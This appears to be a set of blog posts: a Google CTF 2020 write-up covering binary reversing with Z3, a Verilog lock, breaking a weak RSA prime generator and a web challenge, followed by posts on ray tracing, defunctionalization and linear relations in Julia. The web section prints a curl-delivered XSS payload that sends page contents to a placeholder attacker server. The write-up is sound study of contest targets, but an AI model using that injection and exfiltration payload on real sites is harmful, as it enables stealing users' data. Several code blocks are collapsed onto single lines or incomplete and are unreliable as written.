>>> run(10, q -> fresh2( (x,y) ->  (q ≅ :(tup($x,$y))) ∧ appendo( x, y, :(cons(3,cons(4,nil)))  )))
3-element Array{Expr,1}:
:(tup(nil, cons(3, cons(4, nil))))
:(tup(cons(3, nil), cons(4, nil)))
:(tup(cons(3, cons(4, nil)), nil))


I really should implement the occurs check

Other things that might be interesting: Using Async somehow for the streams. Store the substitutions with mutation or do union find unification. Constraint logic programming. How hard would it be get get JuMP to tag along for the ride?

It would probably be nice to accept Expr for tuples and arrays in addition to function calls.

http://minikanren.org/ You may also want to check out the book The Reasoned Schemer.

http://io.livecode.ch/ online interactive minikanren examples

http://tca.github.io/veneer/examples/editor.html more minikanren examples.

Microkanren implementation tutorial https://www.youtube.com/watch?v=0FwIwewHC3o . Also checkout the Kanren online meetup recordings https://www.youtube.com/user/WilliamEByrd/playlists

Efficient representations for triangular substitutions – https://users.soe.ucsc.edu/~lkuper/papers/walk.pdf

Could it be fruitful to work natively with Catlab’s GATExpr? Synquid makes it seem like extra typing information can help the search sometimes.

Hinze backtracking https://dl.acm.org/doi/abs/10.1145/357766.351258

## Google CTF 2020 Write Up

I found a link to the Google CTF as it was ongoing. Me and Ben (Team Skydog! Arf! Arf!) have been meaning to do a CTF for years and a combination of covid and procrastinating packing for a move finally made it happen!

The “easy” problems were ass kickers. I guess they were easy in the sense that total n00bs like us could eventually get them. But good lord. It seems inhuman to me that there are people rocking these things, but there are.

We were able to finish 3 problems and got close to a 4th.

There are similar write ups here https://ctftime.org/event/1041/tasks/ . Doesn’t seem like I did anything that unusual.

## Beginner Reversing

This one was a binary that needed a password inputted . I booted up Ghidra to take a look at the binary which helped a lot in seeing a decompiled version. I’ve never really used Ghidra before. This is what Ghidra showed

ulong main(void)

{
int iVar1;
uint uVar2;
undefined auVar3 [16];
undefined input [16];
undefined4 local_28;
undefined4 uStack36;
undefined4 uStack32;
undefined4 uStack28;

printf("Flag: ");
__isoc99_scanf(&DAT_0010200b,input);
auVar3 = pshufb(input,SHUFFLE);
auVar3 = CONCAT412(SUB164(auVar3 >> 0x60,0) + ADD32._12_4_,
local_28 = SUB164(auVar3,0);
uStack36 = SUB164(auVar3 >> 0x20,0);
uStack32 = SUB164(XOR >> 0x40,0);
uStack28 = SUB164(XOR >> 0x60,0);
iVar1 = strncmp(input,(char *)&local_28,0x10);
if (iVar1 == 0) {
uVar2 = strncmp((char *)&local_28,EXPECTED_PREFIX,4);
if (uVar2 == 0) {
puts("SUCCESS");
goto LAB_00101112;
}
}
uVar2 = 1;
puts("FAILURE");
LAB_00101112:
return (ulong)uVar2;
}
        001010a9 e8 b2 ff        CALL       __isoc99_scanf                                   undefined __isoc99_scanf()
ff ff
001010ae 66 0f 6f        MOVDQA     XMM0,xmmword ptr [RSP]=>input
04 24
001010b3 48 89 ee        MOV        RSI,RBP
001010b6 4c 89 e7        MOV        RDI,R12
001010b9 ba 10 00        MOV        EDX,0x10
00 00
001010be 66 0f 38        PSHUFB     XMM0,xmmword ptr [SHUFFLE]                       =
00 05 a9
2f 00 00
05 91 2f                                                                    = null
00 00
001010cf 66 0f ef        PXOR       XMM0,xmmword ptr [XOR]                           =
05 79 2f
00 00
001010d7 0f 29 44        MOVAPS     xmmword ptr [RSP + local_28],XMM0
24 10
001010dc e8 4f ff        CALL       strncmp                                          int strncmp(char * __s1, char *
ff ff
001010e1 85 c0           TEST       EAX,EAX
001010e3 75 1b           JNZ        LAB_00101100
001010e5 48 8b 35        MOV        RSI=>DAT_00102020,qword ptr [EXPECTED_PREFIX]    = 00102020
94 2f 00 00                                                                 = 43h    C
001010ec ba 04 00        MOV        EDX,0x4
00 00
001010f1 48 89 ef        MOV        RDI,RBP
001010f4 e8 37 ff        CALL       strncmp                                          int strncmp(char * __s1, char *
ff ff


Actually having this in ghidra makes this easier to see than it is here because Ghidra tells you which line of C is which line of assembly. Basically, it appears (after looking up some assembly instructions) that we need to find a string that after shuffling by a fixed pattern (SHUFFLE), packed adding a constant (ADD32), and xoring with a constant (XOR) equals itself.

I suppose this must be solvable by hand? They are suspiciously reversible operations. But I ended up using Z3 because I already know it pretty well. Something that made me totally nuts was translating byte ordering between x86 and z3. The only way I was able to do it was to go into gdb and go through the program instruction and make sure xmm0 had the same values as z3.

gdb a.out
break main
run
tui enable
layout asm
ni a bunch of times
print $xmm0 Then I put in the appropriate list reversals or reversed the bytes of the binary constants. It wasn’t so bad once I realized I had to do that. from z3 import * x = BitVec('x', 128) #print(Extract(,0,x)) chunks8 = [ Extract(i*8+7, 8*i,x ) for i in range(16)] #print([print for chunk in chunks8]) print(chunks8) shuffle = [0x02 ,0x06 ,0x07 , 0x01, 0x05, 0x0b, 0x09, 0x0e, 0x03 , 0x0f ,0x04 ,0x08, 0x0a, 0x0c, 0x0d, 0x00] #shuffle = [ 16 - i for i in shuffle ] #?? Endian? # for z3 ,extract 0 is the least significant shufflex = [chunks8[shuf] for shuf in shuffle] shufflex = Concat(list(reversed(shufflex))) print(shufflex) chunks32 = [ Extract(i*32+31, 32*i,shufflex ) for i in range(4)] #[Concat( shufflex[4*i: 4*i+4]) ) for i in range(4)] print(chunks32) #add32 = [0xefbeadde, 0xaddee1fe, 0x37133713, 0x66746367] add32 = [0xedeadbeef, 0xfee1dead, 0x13371337, 0x67637466] added = [ chunk + addo for chunk,addo in zip(chunks32,add32) ] print(added) xnew = Concat(list(reversed(added))) ^ 0xAAF986EB34F823D4385F1A8D49B45876 # 0x7658b4498d1a5f38d423f834eb86f9aa print(xnew) s = Solver() s.add(xnew == x) #s.add(x != 649710491438454045931875052661658691 ) #s.add(Extract( 4*8-1 , 0, xnew) == 0x102020 ) # 0x202010 print(s.check()) m = s.model() print(m) print(m.eval(xnew)) #bit32chunks = [ Extract(high, low, x) for i in range(4)] #lower = Extract(31, 0, x) #lower = Extract(31, 0, x) #x = BitVec('addx', 128) #[ Extract(high, low, x) for i in range(0,16)] I still don’t understand what is going on with the EXPECTED_PREFIX part. Somehow that memory gets filled with “CTF”, even though it doesn’t have that in the binary file. So maybe that is a red herring? I wonder if KLEE would’ve just found it or if there was some other automated tool that would’ve worked? I see that one write up used angr ## Beginner Hardware This one had a verilog file and a verilator C++ file. Basically, a string is clocked into a circuit which does some minimal scrambling and then sets a flag once a good key has been sent in. An unexpectedly hard part was figuring out how to get verilator to work, which wasn’t strictly necessary. Another hard part was realizing that I was supposed to netcat the key into a server. Somehow I just totally ignored the url that was in the question prompt Again, I used my formal method super powers just because. I downloaded EBMC, although yosys smtbmc would probably also work  ~/Downloads/ebmc check.sv --trace --bound 100 I edited the file slightly. I turned always_ff into always since ebmc didn’t seem to support it. I also initialized the memory to zero so that I could get an actual trace and asserted that open_safe == 0 so that it would give me a countermodel that opens the safe. ebmc returned a trace, which I sent over netcat to the server and got the real key. One could back out the key by hand here, since it is fairly simple scrambling. module check( input clk, input [6:0] data, output wire open_safe ); reg [6:0] memory [7:0]; reg [2:0] idx = 0; //initial begin // memory[0] = 7'b1000011; // memory[5] = 7'b1010100; // memory[2] = 7'b1010100; // memory[7] = 7'b1111011 ; // 7'x7b; //end integer i; initial begin for (i=0;i<8;i=i+1) memory[i] = 0; end wire [55:0] magic = { {memory[0], memory[5]}, {memory[6], memory[2]}, {memory[4], memory[3]}, {memory[7], memory[1]} }; wire [55:0] kittens = { magic[9:0], magic[41:22], magic[21:10], magic[55:42] }; assign open_safe = kittens == 56'd3008192072309708; always @(posedge clk) begin memory[idx] <= data; idx <= idx + 5; end assert property (open_safe==0); // || memory[0] == 7'b110111); //|| memory[0] != b00110111 endmodule  ## Chunk Norris – Crypto This one kicked my ass. I know basically nothing about crypto. The prompt was that there is a file that generates primes for an RSA encrytion. They are using a fishy looking generator for the primes. #!/usr/bin/python3 -u import random from Crypto.Util.number import * import gmpy2 a = 0xe64a5f84e2762be5 chunk_size = 64 def gen_prime(bits): s = random.getrandbits(chunk_size) while True: s |= 0xc000000000000001 p = 0 for _ in range(bits // chunk_size): p = (p << chunk_size) + s s = a * s % 2**chunk_size if gmpy2.is_prime(p): return p n = gen_prime(1024) * gen_prime(1024) e = 65537 flag = open("flag.txt", "rb").read() print('n =', hex(n)) print('e =', hex(e)) print('c =', hex(pow(bytes_to_long(flag), e, n))) I went up a couple blind alleys. The first thing we tried was brute forcing. Maybe if the generator is incredibly weak, we can just generate 1,000,000 primes and we’ll get a match. No such luck. Second I tried interpreting the whole problem into Z3 and Boolector. This did not work either. In hindsight, maybe it could have? Maybe I messed up somewhere in this code? import random from Crypto.Util.number import * import gmpy2 from z3 import * #x = BitVec('n', 1024) prime_size = 1024 chunk_size = 64 s1 = ZeroExt(2*prime_size - chunk_size, BitVec('s1', chunk_size)) #prime_size) s2 = ZeroExt(2*prime_size - chunk_size, BitVec('s2', chunk_size)) a = 0xe64a5f84e2762be5 def gen_prime(s, bits): s |= 0xc000000000000001 p = 0 for _ in range(bits // chunk_size): p = (p << chunk_size) + s s = a * s % 2**chunk_size return p def gen_prime(s, bits): s |= 0xc000000000000001 p = 0 for _ in range(bits // chunk_size): p = (p << chunk_size) + s s = a * s % 2**chunk_size return p p = gen_prime(s1,prime_size) q = gen_prime(s2,prime_size) #n = 0xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19 #n = 0x90000000000055e4350fbb6baa0349fbde32f2f237fa10573dd3d46b #n = BitVecVal("0x90000000000055e4350fbb6baa0349fbde32f2f237fa10573dd3d46b", 64) n = BitVec("n",2048) #(declare-const n (_ BitVec 224) ) #s = parse_smt2_string( " (assert (= n #x900000000001165742e188538bc53a3e129279c049360928a59b2de9))" , decls={"n": n}) #n = BitVecVal(0x90000000000055e4350fbb6baa0349fbde32f2f237fa10573dd3d46b, 64) #print(hex(int(str(n)))) 0xd3899acc7973d22e820d41b4ef33cd232a98366c40fb1d70df2650ca0a96560672496f93afa03e8252a4e63054971cfa8352c9a73504a5caf35f3f5146ffd5f5762480b8140e1230864d3d0edf012bb3dd39b8ce089a64a8935a039e50f8e2ec02d514c892439242257a9bc0f377e5cc1994803cc63697b8aa5ee662a3efa96fb3e6946432e6e86987dabf5d31c7aa650c373b6b00a2cf559e9cfb8f38dc7762d557c45674dde0b5867c8d029a79a89a5feed5b24754bddb10084327fdad0303a09fb3b9306b9439489474dfb5f505460f63a135e85d0e5f71986e1cbce27b3bf3897aa8354206c431850da65cac470f0c1180bbfd4615020bfd5fdaafa2afad #s = Solver() bv_solver = Solver() '''Then(With('simplify', mul2concat=True), 'solve-eqs', 'bit-blast', 'sat').solver() ''' s = bv_solver #nstr = "#xd3899acc7973d22e820d41b4ef33cd232a98366c40fb1d70df2650ca0a96560672496f93afa03e8252a4e63054971cfa8352c9a73504a5caf35f3f5146ffd5f5762480b8140e1230864d3d0edf012bb3dd39b8ce089a64a8935a039e50f8e2ec02d514c892439242257a9bc0f377e5cc1994803cc63697b8aa5ee662a3efa96fb3e6946432e6e86987dabf5d31c7aa650c373b6b00a2cf559e9cfb8f38dc7762d557c45674dde0b5867c8d029a79a89a5feed5b24754bddb10084327fdad0303a09fb3b9306b9439489474dfb5f505460f63a135e85d0e5f71986e1cbce27b3bf3897aa8354206c431850da65cac470f0c1180bbfd4615020bfd5fdaafa2afad" nstr = "#xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19" s.add(parse_smt2_string( f" (assert (= n {nstr}))" , decls={"n": n})) #s.add( s1 < 2**chunk_size) #s.add( s2 < 2**chunk_size) s.add(s1 <= s2) s.add( p * q == n) set_option(verbose=10) print(s.to_smt2()) print(s.check()) m = s.model() print(m) print(m.eval(p)) print(m.eval(q)) We also tried using this tool and see if we got any hits. https://github.com/Ganapati/RsaCtfTool Didn’t work. An interesting resource in any case, and I ended up using to to actually do the decryption once I had the primes. Reading the problem prompt I realized they were emphasizing the way the random number generator was constructed. It turns out that this generator has a name https://en.wikipedia.org/wiki/Lehmer_random_number_generator . This did not lead to any revelations, so is actually a counter productive observation. Anyway, looking at it, each 64 bit chunk is kind of independent of each other in the primes. And when you multiply the built primes, the chunks still don’t interweave all the much, especially the most and least significant chunk of n. Eventually I realized that the first and last chunk of the key n are simply related to the product of the 2 random numbers s used to generate the primes. The least significant chunk of n = s1 * s2 * a^30 mod 2^64. And the most significant chunk of n is the most significant 64 bits of s1 * s2 ( minus an unknown but small number of carries). We can reverse the a^30 by using the modular inverse of a which I used a web form to calculate. Then we basically have the product of s1 and s2. s1 and s2 are not primes, and this is a much smaller problem, so factoring these numbers is not a challenge. import random from Crypto.Util.number import * import gmpy2 for q in range(16): # search over possible carries #e = q * 2 ** 64 #print(hex(e)) backn = 0x0273d3d4255f6b19 # least sig bits of n frontn = 0xab802dca026b1825 - q # most sig bits of n minus some carry chunk_size = 64 bits = 1024 a = 0xe64a5f84e2762be5 #16594180801339730917 ainv = 13928521563655641581 # modular inverse wrt 2^64 https://www.dcode.fr/modular-inverse n0 = gmpy2.mpz("0xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19") abackn = backn # mutiply a^inv ** (30? or 32?) * backn = s1 * s2 mod 2**64 for _ in range(bits // chunk_size - 1): abackn = ainv * abackn % 2**chunk_size abackn = ainv * abackn % 2**chunk_size print("abackn ", hex(abackn)) def prime_factors(n): # all prime factors, from a stack exchange post i = 2 factors = [] while i * i <= n: #print(i) if n % i: i += 1 else: n //= i factors.append(i) if n > 1: factors.append(n) return factors def gen_prime_s(s,bits): s |= 0xc000000000000001 p = 0 for _ in range(bits // chunk_size): p = (p << chunk_size) + s s = a * s % 2**chunk_size return p print(len(hex(abackn))) tot_ss = (frontn * (2 ** (chunk_size))) + abackn # combine the front and back. Should = s1 * s2 print("frontbk", hex(tot_ss)) print(len(hex(tot_ss))) g = prime_factors( tot_ss) print(g) ng = len(g) for i in range(2**ng): # try all ways of splitting prime list. Could do something less stupid, but whatev s1 = 1 s2 = 1 for x in range(ng): if (i >> x) & 1: s1 *= g[x] else: s2 *= g[x] p = gen_prime_s(s1,1024) q = gen_prime_s(s2,1024) n = p*q if n == n0: print("holy shit") print(f"p = {p}", ) print(f"q = {q}", ) ## Pasteurize Web Strangely enough the web was also pretty hard. This is partially because this is getting further from stuff I know about. We ended up not finishing this one but I think we got close. We’re given access to a notes web app. Looking at the source, it turns out the server source was also being served. Eventually we figured out that we could curl in notes in an unexpected format using url-encoding which was conspicuously enabled in body-parser. The sanitizer makes the assumption that it is receiving a string, not an object. When the sanitizer removes the quotes from the JSON.stringify, it actually can remove an opening brace {, and then the first label of the object closes the string. When the note text is spliced into the webpage it isn’t properly escaped. We were able to get code to run via sending in an object with labels that were javascript code curl -d 'content[;a=4;alert();]=;7;&content[;a=5;]=;4;' -H "Content-Type: application/x-www-form-urlencoded" -X POST https://pasteurize.web.ctfcompetition.com/  By running an ajax request we could recevie data from TJMike’s browser curl -d 'content[;var xhttp = new XMLHttpRequest();xhttp.open(POST, https://ourserver, true);xhttp.send(document.documentElement.innerHTML);]=;7;&content[;a=5;]=;4;' -H "Content-Type: application/x-www-form-urlencoded" -X POST https://pasteurize.web.ctfcompetition.com/  We were at the time limit then. I’ve heard we needed to grab the document.cookies and that had the key in it? All told pretty cool. A very well organized CTF with fun challenges. I dunno if CTFs are for me. I felt my blood pressure raising a lot. ## Ray Tracing Algebraic Surfaces Ray tracing is a natural way of producing computer images. One takes a geometrical ray that connects the pinhole of the camera to a pixel of the camera and find where it hits objects in the scene. You then color the pixel the color of the object it hit. You can add a great deal of complexity to this by more sophisticated sampling and lighting, multiple bounces, strange surfaces, but that’s it in a nutshell. A very popular tutorial on this is Ray Tracing in One Weekend https://raytracing.github.io/ There are a couple ways to do the geometrical collision detection part. One is to consider simple shapes like triangles and spheres and find closed form algorithms for the collision point. This is a fast and simple approach and the rough basis of the standard graphics pipeline. Another is to describe shapes via signed distance functions that tell you how far from the object you are and use ray-marching, which is a variant of newton’s method iteratively finding a position on a surface along the ray. ShaderToys very often use this technique. If you describe your objects using algebraic (polynomial) equations, like $x^2 + y^2 + z^2 - 1$ describes a sphere, there is the possibility of using root finding algorithms, which are readily available. I thought this was kind of neat. Basically the ray hitting the concrete pixel $(x_0, y_0)$ can be parameterized by a univariate polynomial $(x,y,z) = (\lambda x_0, \lambda y_0, \lambda)$ , which can be plugged into the multivariate polynomial $(\lambda x_0)^2 + (\lambda y_0)^2 + \lambda^2 - 1$. This is a univariate polynomial which can be solved for all possible collision points via root finding. We filter for the collisions that are closest and in front of the camera. We can also use partial differentiation of the surface equations to find normal vectors at that point for the purposes of simple directional lighting. As is, it really isn’t very fast but it’s short and it works. Three key packages are using Images using LinearAlgebra using TypedPolynomials using Polynomials function raytrace(x2,y2,p) z = Polynomials.Polynomial([0,1]) # The ray parameterized by z through the origin and the point [x2,y2,1] x3 = [z*x2, z*y2, z] # get all the roots after substitution into the surface equation r = roots(p(x=>x3)) # filter to use values of z that are real and in front of the camera hits = map(real, filter( x -> isreal(x) & (real(x) > 0.0) , r)) if length(hits) > 0 l = minimum(hits) # closest hit only x3 = [z(l) for z in x3] # get normal vector of surface at that point dp = differentiate(p, x) normal = normalize([ z(x=> x3) for z in dp]) # a little directional and ambient shading return max(0,0.5*dot(normal,normalize([0,1,-1]))) + 0.2 else return 0 # Ray did not hit surface end end @polyvar x[1:3] # a sphere of radius 1 with center at (0,0,3) p = x[1]^2 + x[2]^2 + (x[3] - 3)^2 - 1 box = -1:0.01:1 Gray.([ raytrace(x,y,p) for x=box, y=box ]) Sphere. @polyvar x[1:3] R = 2 r = 1 # another way of doing offset x1 = x .+ [ 0, 0 , -5 ] # a torus at (0,0,5) # equation from https://en.wikipedia.org/wiki/Torus p = (x1[1]^2 + x1[2]^2 + x1[3]^2 + R^2 - r^2)^2 - 4R^2 * (x1[1]^2 + x1[2]^2) box = -1:0.005:1 img = Gray.([ raytrace(x,y,p) for x=box, y=box ]) save("torus.jpg",img) Some thoughts on speeding up: Move polynomial manipulations out of the loop. Perhaps partial evaluate with respect to the polynomial? That’d be neat. And of course, parallelize ## Defunctionalizing Arithmetic to an Abstract Machine There is great value in meditating upon the simplest possible example of a thing you can come up with. In this case one can apply defunctionalization techniques that are often applied to lambda calculus to simpler arithmetic calculations. Functional programming is cool and useful, but it isn’t clear how to implement the features they provide on hardware that is controlled by assembly code. Achieving this is a fairly large topic. One step on the way is the concept of an abstract machine. Abstract machines make more explicit how to evaluate a program by defining a step relationship taking a state of the machine to another state. I think this may be closer to how hardware is built because hardware is physical system. Physical systems are often characterizable by their space of states and the transitions or time evolution of them. That’s Newtonian mechanics in a nutshell. There is a methodology by which to connect the definitions of abstract machines to interpreters of lambda calculus. • Convert to continuation passing style to make the evaluation order explicit • Defunctionalize these continuations However, the lambda calculus is a non trivial beast and really only a member of a spectrum of different programming language features. Here is an incomplete set of features that you can mix and match: • Arithmetic expressions • Boolean expressions • let bindings • Printing/Output • Reading/Input • Mutation, References • For/While loops • Named Global Procedures • Recursion • Lambda terms / Higher Order Functions • Call/CC • error throw try catch • Algebraic Data Types • Pattern matching In my opinion, the simplest of any of these is arithmetic expressions and with only this you can already meaningfully explore this evaluator to abstract machine translation. First we need a data type for arithmetic data AExpr = Lit Int | Add AExpr AExpr deriving (Eq, Show) Pretty basic. We could easily add multiplication and other operators and it doesn’t change much conceptually except make things larger. Then we can define a simple interpreter. type Value = Int eval :: AExpr -> Value eval (Add x y) = (eval x) + (eval y) eval (Lit i) = i The first step of our transformation is to put everything in continuation passing style (cps). The way this is done is to add an extra parameter k to every function call. When we want to return a result from a function, we now call k with that instead. You can kind of think of it as a goofy return statement. eval' is equivalent to eval above. evalk :: AExpr -> (Value -> Value) -> Value evalk (Add x y) k = evalk x (\vx -> (evalk y$ \vy -> k (vx + vy)))
evalk (Lit i) k = k i

eval' :: AExpr -> Value
eval' e = evalk e id

Now we defunctionalize this continuation. We note that higher order continuation parameters take only a finite number of possible shapes if evalk is only accessed via the above code. k can either be id, (\vx -> (evalk y $\vy -> k (vx + vy))) , or \vy -> k (vx + vy). We give each of these code shapes a constructor in a data type. The constructor needs to hold any values closed over (free variables in the expression). id needs to remember nothing, \vx -> (evalk y$ \vy -> k (vx + vy)) needs to remember y and k, and \vy -> k (vx + vy) needs to remember vx and k.

data AHole = IdDone | AddL AExpr AHole | AddR Value AHole 

What functions are is a thing that can be applied to it’s arguments. We can use AHole exactly as before by defining an apply function.

apply :: AHole -> Value -> Value
apply IdDone      v = v
apply (AddR v' k) v = apply k (v' + v) 

And using this we can convert evalk into a new form by replacing the continuations with their defunctionalized data type.

evald :: AExpr -> AHole -> Value
evald (Lit i) k = apply k i

eval'' e = evald e IdDone

We can make this into more of a machine by inlining apply into evald and breaking up the tail recursion into individual steps. Now we have a step relation on a state consisting of continuation data AHole and program information AExpr. Every step makes progress towards evaluating the expression. If you squint a little, this machine is basically an RPN machine for evaluating arithmetic.

data Machine = Machine {  prog :: AExpr  , kont :: AHole}

step :: Machine -> Either Value Machine
step (Machine (Add x y) k) = Right $Machine x (AddL y k) step (Machine (Lit i) (AddL e k)) = Right$ Machine e (AddR i k)
step (Machine (Lit i) (AddR v k)) = Right $Machine (Lit (i + v)) k step (Machine (Lit i) (IdDone)) = Left i init_machine e = Machine e IdDone -- https://hackage.haskell.org/package/extra-1.7.4/docs/src/Control.Monad.Extra.html#loop loop :: (a -> Either b a) -> a -> b loop act x = case act x of Right x -> loop act x Left v -> v eval'''' e = loop step (init_machine e) Pretty neat right? Now the next simplest steps in my opinion would be to add Booleans, Let expressions, and Print statements. Then after grokking that, I would attempt the CEK and Krivine Machines for lambda calculus. ### Links Defunctionalizing arithmetic can be found in https://www.brics.dk/RS/01/23/BRICS-RS-01-23.pdf – Defunctionalization at Work – Danvy and Nielson https://homepages.inf.ed.ac.uk/wadler/papers/papers-we-love/reynolds-definitional-interpreters-1998.pdf Definitional Interpreters for Higher Order Programming Languages – Reynolds 1972. The grand daddy paper of defunctionalization https://tidsskrift.dk/brics/article/download/21784/19215 – A Journey from Interpreters to Compilers and Virtual Machines – Mads Sig Ager, Dariusz Biernacki, Olivier Danvy, Jan Midtgaard http://www.pathsensitive.com/2019/07/the-best-refactoring-youve-never-heard.html Best Refactoring You’ve never Heard of by Jimmy Koppel. Xavier Leroy abstract machine slides https://xavierleroy.org/mpri/2-4/ https://caml.inria.fr/pub/papers/xleroy-zinc.pdf – Leroy’s description of the Zinc Machine CEK machine – Matt Might http://matt.might.net/articles/cek-machines/ https://github.com/rain-1/continuations-study-group/wiki/Reading-List https://semantic-domain.blogspot.com/2020/02/thought-experiment-introductory.html Neel Krishnaswami’s hypothetical compiler course. ## Checkpoint: Implementing Linear Relations for Linear Time Invariant Systems I’m feeling a little stuck on this one so I think maybe it is smart to just write up a quick checkpoint for myself and anyone who might have advice. The idea is to reimplement the ideas here computing linear relations https://www.philipzucker.com/linear-relation-algebra-of-circuits-with-hmatrix/ There is a lot more context written in that post and probably necessary background for this one. Linear relations algebra is a refreshing perspective for me on systems of linear equations. It has a notion of composition that seems, dare I say, almost as useful as matrix multiplication. Very high praise. This composition has a more bidirectional flavor than matrix multiplication as it a good fit for describing physical systems, in which interconnection always influences both ways. In the previous post, I used nullspace computations as my workhorse. The nullspace operation allows one to switch between a constraint (nullspace) and a generator (span) picture of a vector subspace. The generator view is useful for projection and linear union, and the constraint view is useful for partial-composition and intersection. The implementation of linear relation composition requires flipping between both views. I’m reimplementing it in Julia for 2 reasons • To use the Julia ecosystems implementation of module operations • to get a little of that Catlab.jl magic to shine on it. It was a disappointment of the previous post that I could only treat resistor-like circuits. The new twist of using module packages allows treatment of inductor/capacitor circuits and signal flow diagrams. When you transform into Fourier space, systems of linear differential equations become systems of polynomial equations $\frac{d}{dx} \rightarrow i \omega$. From this perspective, modules seem like the appropriate abstraction rather vector spaces. Modules are basically vector spaces where one doesn’t assume the operation of scalar division, in other words the scalar are rings rather than fields. Polynomials are rings, not fields. In order to treat the new systems, I still need to be able to do linear algebraic-ish operations like nullspaces, except where the entries of the matrix are polynomials rather than floats. Syzygies are basically the module analog of nullspaces. Syzygies are the combinations of generators that combine to zero. Considering the generators of a submodule as being column vectors, stacking them together makes a matrix. Taking linear combinations of the columns is what happens when you multiply a matrix by a vector. So the syzygies are the space of vectors for which this matrix multiplication gives 0, the “nullspace”. Computer algebra packages offer syzygy computations. Julia has bindings to Singular, which does this. I have been having a significant and draining struggle to wrangle these libraries though. Am I going against the grain? Did the library authors go against the grain? Here’s what I’ve got trying to match the catlab naming conventions: using Singular import Nemo using LinearAlgebra # : I CC = Nemo.ComplexField(64) P, (s,) = PolynomialRing(CC, ["s"]) i = Nemo.onei(CC) # P(i) ? The imaginary number #helpers to deal with Singular.jl eye(m) = P.(Matrix{Int64}(I, m, m)) # There is almost certainly a better way of doing this. Actually dispatching Matrix? zayro(m,n) = P.(zeros(Int64,m,n)) #new zeros method? mat1(m::Int64) = fill(P(m), (1,1) ) mat1(m::Float64) = fill(P(m), (1,1) ) mat1(m::spoly{Singular.n_unknown{Nemo.acb}}) = fill(m, (1,1)) # Objects are the dimensionality of the vector space struct DynOb m::Int end # Linear relations represented struct DynMorph input::Array{spoly{Singular.n_unknown{Nemo.acb}},2} output::Array{spoly{Singular.n_unknown{Nemo.acb}},2} end dom(x::DynMorph) = DynOb(size(x.input)[2]) codom(x::DynMorph) = DynOb(size(x.output)[2]) id(X::DynOb) = DynMorph(eye(X.m), -eye(X.m)) # add together inputs plus(X::DynOb) = DynMorph( [eye(X.m) eye(X.m)] , - eye(X.m) ) mcopy(X::DynOb) = Dyn( [eye(X.m) ; eye(X.m)] , -eye(2*X.m) ) # copy input delete(A::DynOb) = DynMorph( fill(P.(0),(0,A.m)) , fill(P.(0),(0,0)) ) create(A::DynOb) = DynMorph( fill(P.(0),(0,0)) , fill(P.(0),(0,A.m)) ) dagger(x::DynMorph) = DynMorph(x.output, x.input) # cup and cap operators dunit(A::DynOb) = compose(create(A), mcopy(A)) dcounit(A::DynOb) = compose(mmerge(A), delete(A)) scale(M) = DynMorph( mat1(M),mat1(-1)) diff = scale(i*s) # differentiation = multiplying by i omega integ = dagger(diff) #cupboy = DynMorph( [mat1(1) mat1(-1)] , fill(P.(0),(1,0)) ) #capboy = transpose(cupboy) #terminal # relational operations # The meet # Inclusion # I think this is a nullspace calculation? # almost all the code is trying to work around Singular's interface to one i can understand function quasinullspace(A) rows, cols = size(A) vs = Array(gens(Singular.FreeModule(P, rows))) q = [sum(A[:,i] .* vs) for i in 1:cols] M = Singular.Module(P,q...) S = Singular.Matrix(syz(M)) # syz is the only meat of the computation return Base.transpose([S[i,j] for j=1:Singular.ncols(S), i=1:Singular.nrows(S) ]) end function compose(x::DynMorph,y::DynMorph) nx, xi = size(x.input) nx1, xo = size(x.output) @assert nx1 == nx ny, yi = size(y.input) ny1, yo = size(y.output) @assert ny1 == ny A = [ x.input x.output P.(zeros(Int64,nx,yo)) ; P.(zeros(Int64,ny,xi)) y.input y.output ] B = quasinullspace(A) projB = [B[1:xi ,:] ; B[xi+yi+1:end,:] ] C = Base.transpose(quasinullspace(Base.transpose(projB))) return DynMorph( C[:, 1:xi] ,C[:,xi+1:end] ) end # basically the direct sum. The monoidal product of linear relations function otimes( x::DynMorph, y::DynMorph) nx, xi = size(x.input) nx1, xo = size(x.output) @assert nx1 == nx ny, yi = size(y.input) ny1, yo = size(y.output) @assert ny1 == ny return DynMorph( [ x.input P.(zeros(Int64,nx,yi)); P.(zeros(Int64,ny,xi)) y.input ], [x.output P.(zeros(Int64,nx,yo)); P.(zeros(Int64,ny,xo)) y.output ]) end I think this does basically work but it’s clunky. ### Thoughts I need to figure out Catlab’s diagram drawing abilities enough to show some circuits and some signal flow diagrams. Wouldn’t that be nice? I should show concrete examples of composing passive filter circuits together. There is a really fascinating paper by Jan Willems where he digs into a beautiful picture of this that I need to revisit https://homes.esat.kuleuven.be/~sistawww/smc/jwillems/Articles/JournalArticles/2007.1.pdf https://golem.ph.utexas.edu/category/2018/06/the_behavioral_approach_to_sys.html Is all this module stuff stupid? 